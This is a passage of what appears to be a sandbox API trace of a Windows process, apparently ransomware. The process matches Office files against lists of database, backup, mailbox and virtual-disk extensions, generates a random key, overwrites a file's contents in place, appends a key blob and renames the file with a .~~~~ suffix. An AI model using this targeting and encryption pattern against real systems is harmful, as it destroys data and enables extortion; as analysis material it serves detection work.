	[0147.091] lstrlenW (lpString=".dbv") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".dbv") returned 0x0
	[0147.091] lstrlenW (lpString=".SDF") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".SDF") returned 0x0
	[0147.092] lstrlenW (lpString=".dtxs") returned 5
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".dtxs") returned 0x0
	[0147.092] lstrlenW (lpString=".db3") returned 4
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".db3") returned 0x0
	[0147.092] lstrlenW (lpString=".OST") returned 4
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".OST") returned 0x0
	[0147.092] lstrlenW (lpString=".dbx") returned 4
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".dbx") returned 0x0
	[0147.092] lstrlenW (lpString=".DB3") returned 4
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DB3") returned 0x0
	[0147.092] lstrlenW (lpString=".DAT") returned 4
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DAT") returned 0x0
	[0147.092] lstrlenW (lpString=".VHDX") returned 5
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".VHDX") returned 0x0
	[0147.092] lstrlenW (lpString=".ndf") returned 4
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".ndf") returned 0x0
	[0147.092] lstrlenW (lpString=".DB") returned 3
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DB") returned 0x0
	[0147.092] lstrlenW (lpString=".sql") returned 4
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".sql") returned 0x0
	[0147.092] lstrlenW (lpString=".MYD") returned 4
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".MYD") returned 0x0
	[0147.092] lstrlenW (lpString=".DBT") returned 4
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DBT") returned 0x0
	[0147.092] lstrlenW (lpString=".ACCDB") returned 6
	[0147.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".ACCDB") returned 0x0
	[0147.092] lstrlenW (lpString=".fdb") returned 4
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".fdb") returned 0x0
	[0147.093] lstrlenW (lpString=".bak") returned 4
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".bak") returned 0x0
	[0147.093] lstrlenW (lpString=".myd") returned 4
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".myd") returned 0x0
	[0147.093] lstrlenW (lpString=".DTXS") returned 5
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DTXS") returned 0x0
	[0147.093] lstrlenW (lpString=".ckp") returned 4
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".ckp") returned 0x0
	[0147.093] lstrlenW (lpString=".dbt") returned 4
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".dbt") returned 0x0
	[0147.093] lstrlenW (lpString=".db") returned 3
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".db") returned 0x0
	[0147.093] lstrlenW (lpString=".TXT") returned 4
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".TXT") returned 0x0
	[0147.093] lstrlenW (lpString=".MDF") returned 4
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".MDF") returned 0x0
	[0147.093] lstrlenW (lpString=".bdb") returned 4
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".bdb") returned 0x0
	[0147.093] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0147.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0147.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0147.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0147.094] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x29085c0) returned 1
	[0147.095] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0147.095] CryptReleaseContext (hProv=0x29085c0, dwFlags=0x0) returned 1
	[0147.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0147.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0147.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0147.096] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26716893686) returned 1
	[0147.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc122a810, dwHighDateTime=0x1d60e1e)) 
	[0147.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0147.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0147.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0147.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28d20f8
	[0147.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0147.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d20f8 | out: hHeap=0x300000) returned 1
	[0147.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0147.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0147.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0147.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0147.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0147.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0147.180] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0147.180] GetLastError () returned 0x0
	[0147.180] GetLastError () returned 0x0
	[0147.180] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0147.180] GetLastError () returned 0x0
	[0147.180] GetLastError () returned 0x0
	[0147.180] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.188] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0147.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.189] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0147.189] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0147.189] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0147.189] CloseHandle (hObject=0x114) returned 1
	[0147.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x396598
	[0147.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll.~~~~")) returned 1
	[0147.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x396598 | out: hHeap=0x300000) returned 1
	[0147.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0147.192] GetLastError () returned 0x0
	[0147.192] RtlWakeConditionVariable () returned 0x365f70
	[0147.192] GetCurrentThreadId () returned 0x9f4
	[0147.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".scr") returned 0x0
	[0147.192] lstrlenW (lpString=".cmd") returned 4
	[0147.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".cmd") returned 0x0
	[0147.192] lstrlenW (lpString=".dll") returned 4
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".dll") returned 0x0
	[0147.193] lstrlenW (lpString=".bat") returned 4
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".bat") returned 0x0
	[0147.193] lstrlenW (lpString=".cpl") returned 4
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".cpl") returned 0x0
	[0147.193] lstrlenW (lpString=".sys") returned 4
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".sys") returned 0x0
	[0147.193] lstrlenW (lpString=".msc") returned 4
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".msc") returned 0x0
	[0147.193] lstrlenW (lpString=".com") returned 4
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".com") returned 0x0
	[0147.193] lstrlenW (lpString=".lnk") returned 4
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".lnk") returned 0x0
	[0147.193] lstrlenW (lpString=".msp") returned 4
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".msp") returned 0x0
	[0147.193] lstrlenW (lpString=".pif") returned 4
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".pif") returned 0x0
	[0147.193] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0147.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0147.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0147.195] lstrlenW (lpString=".sqb") returned 4
	[0147.195] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".sqb") returned 0x0
	[0147.196] lstrlenW (lpString=".ost") returned 4
	[0147.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".ost") returned 0x0
	[0147.196] lstrlenW (lpString=".txt") returned 4
	[0147.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".txt") returned 0x0
	[0147.196] lstrlenW (lpString=".mdt") returned 4
	[0147.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".mdt") returned 0x0
	[0147.196] lstrlenW (lpString=".BDB") returned 4
	[0147.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".BDB") returned 0x0
	[0147.196] lstrlenW (lpString=".eql") returned 4
	[0147.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".eql") returned 0x0
	[0147.196] lstrlenW (lpString=".DBF") returned 4
	[0147.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DBF") returned 0x0
	[0147.196] lstrlenW (lpString=".EQL") returned 4
	[0147.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".EQL") returned 0x0
	[0147.196] lstrlenW (lpString=".FDB") returned 4
	[0147.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".FDB") returned 0x0
	[0147.196] lstrlenW (lpString=".EDB") returned 4
	[0147.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".EDB") returned 0x0
	[0147.196] lstrlenW (lpString=".DACPAC") returned 7
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DACPAC") returned 0x0
	[0147.197] lstrlenW (lpString=".VHD") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".VHD") returned 0x0
	[0147.197] lstrlenW (lpString=".DBV") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DBV") returned 0x0
	[0147.197] lstrlenW (lpString=".dacpac") returned 7
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".dacpac") returned 0x0
	[0147.197] lstrlenW (lpString=".sdf") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".sdf") returned 0x0
	[0147.197] lstrlenW (lpString=".accdb") returned 6
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".accdb") returned 0x0
	[0147.197] lstrlenW (lpString=".DBX") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DBX") returned 0x0
	[0147.197] lstrlenW (lpString=".MDT") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".MDT") returned 0x0
	[0147.197] lstrlenW (lpString=".SQB") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".SQB") returned 0x0
	[0147.197] lstrlenW (lpString=".vhd") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".vhd") returned 0x0
	[0147.197] lstrlenW (lpString=".bac") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".bac") returned 0x0
	[0147.197] lstrlenW (lpString=".mdf") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".mdf") returned 0x0
	[0147.197] lstrlenW (lpString=".BAK") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".BAK") returned 0x0
	[0147.197] lstrlenW (lpString=".BAC") returned 4
	[0147.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".BAC") returned 0x0
	[0147.197] lstrlenW (lpString=".dbs") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".dbs") returned 0x0
	[0147.198] lstrlenW (lpString=".vhdx") returned 5
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".vhdx") returned 0x0
	[0147.198] lstrlenW (lpString=".NDF") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".NDF") returned 0x0
	[0147.198] lstrlenW (lpString=".dat") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".dat") returned 0x0
	[0147.198] lstrlenW (lpString=".DBS") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DBS") returned 0x0
	[0147.198] lstrlenW (lpString=".CKP") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".CKP") returned 0x0
	[0147.198] lstrlenW (lpString=".edb") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".edb") returned 0x0
	[0147.198] lstrlenW (lpString=".PST") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".PST") returned 0x0
	[0147.198] lstrlenW (lpString=".dbf") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".dbf") returned 0x0
	[0147.198] lstrlenW (lpString=".SQL") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".SQL") returned 0x0
	[0147.198] lstrlenW (lpString=".pst") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".pst") returned 0x0
	[0147.198] lstrlenW (lpString=".dbv") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".dbv") returned 0x0
	[0147.198] lstrlenW (lpString=".SDF") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".SDF") returned 0x0
	[0147.198] lstrlenW (lpString=".dtxs") returned 5
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".dtxs") returned 0x0
	[0147.198] lstrlenW (lpString=".db3") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".db3") returned 0x0
	[0147.198] lstrlenW (lpString=".OST") returned 4
	[0147.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".OST") returned 0x0
	[0147.198] lstrlenW (lpString=".dbx") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".dbx") returned 0x0
	[0147.199] lstrlenW (lpString=".DB3") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DB3") returned 0x0
	[0147.199] lstrlenW (lpString=".DAT") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DAT") returned 0x0
	[0147.199] lstrlenW (lpString=".VHDX") returned 5
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".VHDX") returned 0x0
	[0147.199] lstrlenW (lpString=".ndf") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".ndf") returned 0x0
	[0147.199] lstrlenW (lpString=".DB") returned 3
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DB") returned 0x0
	[0147.199] lstrlenW (lpString=".sql") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".sql") returned 0x0
	[0147.199] lstrlenW (lpString=".MYD") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".MYD") returned 0x0
	[0147.199] lstrlenW (lpString=".DBT") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DBT") returned 0x0
	[0147.199] lstrlenW (lpString=".ACCDB") returned 6
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".ACCDB") returned 0x0
	[0147.199] lstrlenW (lpString=".fdb") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".fdb") returned 0x0
	[0147.199] lstrlenW (lpString=".bak") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".bak") returned 0x0
	[0147.199] lstrlenW (lpString=".myd") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".myd") returned 0x0
	[0147.199] lstrlenW (lpString=".DTXS") returned 5
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".DTXS") returned 0x0
	[0147.199] lstrlenW (lpString=".ckp") returned 4
	[0147.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".ckp") returned 0x0
	[0147.199] lstrlenW (lpString=".dbt") returned 4
	[0147.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".dbt") returned 0x0
	[0147.200] lstrlenW (lpString=".db") returned 3
	[0147.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".db") returned 0x0
	[0147.200] lstrlenW (lpString=".TXT") returned 4
	[0147.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".TXT") returned 0x0
	[0147.200] lstrlenW (lpString=".MDF") returned 4
	[0147.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".MDF") returned 0x0
	[0147.200] lstrlenW (lpString=".bdb") returned 4
	[0147.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".bdb") returned 0x0
	[0147.200] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0147.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0147.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0147.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
